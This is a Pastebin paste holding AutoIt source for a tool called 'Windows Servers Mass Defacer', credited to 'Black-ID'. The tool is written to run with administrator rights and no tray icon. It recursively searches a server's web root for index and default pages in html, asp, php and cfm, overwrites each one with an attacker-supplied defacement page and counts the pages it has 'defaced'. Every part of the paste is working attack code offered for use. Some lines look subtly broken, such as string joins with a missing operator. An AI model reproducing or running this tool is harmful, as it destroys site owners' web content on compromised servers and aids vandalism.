Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #NoTrayIcon
- #RequireAdmin
- #Region
- #AutoIt3Wrapper_Compression=4
- #EndRegion
- ;=========================================================================
- ; Windows Servers Mass Defacer V.1.5 |
- ; Devloped by Black-ID |
- ;=========================================================================
- ;usage: mass.exe -d <defacepath> -r <rootpath> |
- ;example: wmass.exe -d "C:\hacked.html" -r "c:\inetpub\wwwroot\" |
- ;note: Quotes are necessary.!! (Updated on 30-08-2011) |
- ;~ ;if any bugs are found ...plz do inform me at BlackID |
- ;follow the status of the defacer with defacerlog.txt |
- ;=========================================================================
- #Include <File.au3>
- #Include <Array.au3>
- #include "_ArraySize.au3"
- #include "RecFileListToArray.au3"
- #include <Console.au3>
- Global $quot = BinaryToString("0x22")
- Global $defacerpath = ""
- Global $rootpath = ""
- $time = @HOUR&":"&@MIN&":"&@SEC
- ;;Get Parameters
- ReadCmdLineParams()
- If not FileExists($defacerpath) Then
- Cout(@HOUR&":"&@MIN&":"&@SEC& " - "&$defacerpath&" is an invalid path to deface page..!!"&@CRLF)
- Exit
- EndIf
- If not FileExists($rootpath) Then
- Cout(@HOUR&":"&@MIN&":"&@SEC& " - "&$rootpath& " is an invalid root path..!!"&@CRLF)
- Exit
- EndIf
- $globalvariable = 0;we define the global variable for no: of succesful defacing.
- Global $avArray[10]
- $avArray[0] = "index.html"
- $avArray[1] = "index.htm"
- $avArray[2] = "index.asp"
- $avArray[3] = "index.cfm"
- $avArray[4] = "index.php"
- $avArray[5] = "default.html"
- $avArray[6] = "default.htm"
- $avArray[7] = "default.asp"
- $avArray[8] = "default.cfm"
- $avArray[9] = "default.php"
- $countdeface = _ArraySize( $avArray )
- $countdeface = $countdeface - 1
- If not $countdeface Then
- Exit
- EndIf
- lising()
- func replace($array);replaces the file if exists
- local $length, $target
- local $i = 1
- $length = _ArraySize( $array )
- $length = $length - 1
- for $i = 1 To $length
- $target = $array[$i]
- FileCopy($defacerpath, $target, 9) ; Flag = 1 + 8 (overwrite + create target directory structure)
- ; Copy the txt-files from source to target and overwrite target files with same name
- $globalvariable = $globalvariable + 1
- Next
- EndFunc
- func lising();directory listing recursive
- Local $localdeafce
- Local $asi = "0"
- for $asi = 0 To $countdeface
- Local $localdeafce = $avArray[$asi]
- local $aArray = _RecFileListToArray($rootpath, $localdeafce, 1, 1, 0, 2)
- if not @error = 1 Then
- replace($aArray)
- EndIf
- Next
- EndFunc
- Func ReadCmdLineParams()
- for $i = 1 to $cmdLine[0]
- select
- ;;If the arguement equal -d
- case $CmdLine[$i] = "-d"
- ;check for missing argument
- if $i == $CmdLine[0] Then cmdLineHelpMsg()
- ;Make sure the next argument is not another paramter
- if StringLeft($cmdline[$i+1], 1) == "-" Then
- cmdLineHelpMsg()
- Else
- ;;Strip white space from the begining and end of the input
- ;;Not alway nessary let it in just in case
- $defacerpath = $quot&StringStripWS($CmdLine[$i + 1], 3)$quot
- endif
- ;;If the arguement equal -r
- case $CmdLine[$i] = "-r"
- ;check for missing arguement
- if $i == $CmdLine[0] Then cmdLineHelpMsg()
- ;Make sure the next argument is not another paramter
- if StringLeft($cmdline[$i+1], 1) == "-" Then
- cmdLineHelpMsg()
- Else
- ;;Strip white space from the begining and end of the input
- ;;Not alway nessary let it in just in case
- $rootpath = $quot&StringStripWS($CmdLine[$i + 1], 3)$quot
- EndIf
- EndSelect
- Next
- ;Make sure required options are set and if not display the Help Message
- if $defacerpath == "" Or $rootpath == "" Then
- cmdLineHelpMsg()
- EndIf
- EndFunc
- Func cmdLineHelpMsg()
- Local $thewrite
- $thewrite &= ""&@CRLF
- $thewrite &= "========================================================================="&@CRLF
- $thewrite &= " Windows Servers Mass Defacer "&@CRLF
- $thewrite &= " Devloped by Black-ID "&@CRLF
- $thewrite &= "========================================================================="&@CRLF
- $thewrite &= "usage: wmass.exe -d <defacepath> -r <rootpath>"&@CRLF
- $thewrite &= 'example: WMass.exe -d "C:\index.html" -r "c:\inetpub\wwwroot\"'&@CRLF
- $thewrite &= "========================================================================="&@CRLF&@CRLF
- Cout($thewrite)
- Exit
- EndFunc
- Cout("Started defacing at "&$time& " and ended at "&@HOUR&":"&@MIN&":"&@SEC& ".Defaced "&$globalvariable&" index pages..!!"&@CRLF)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement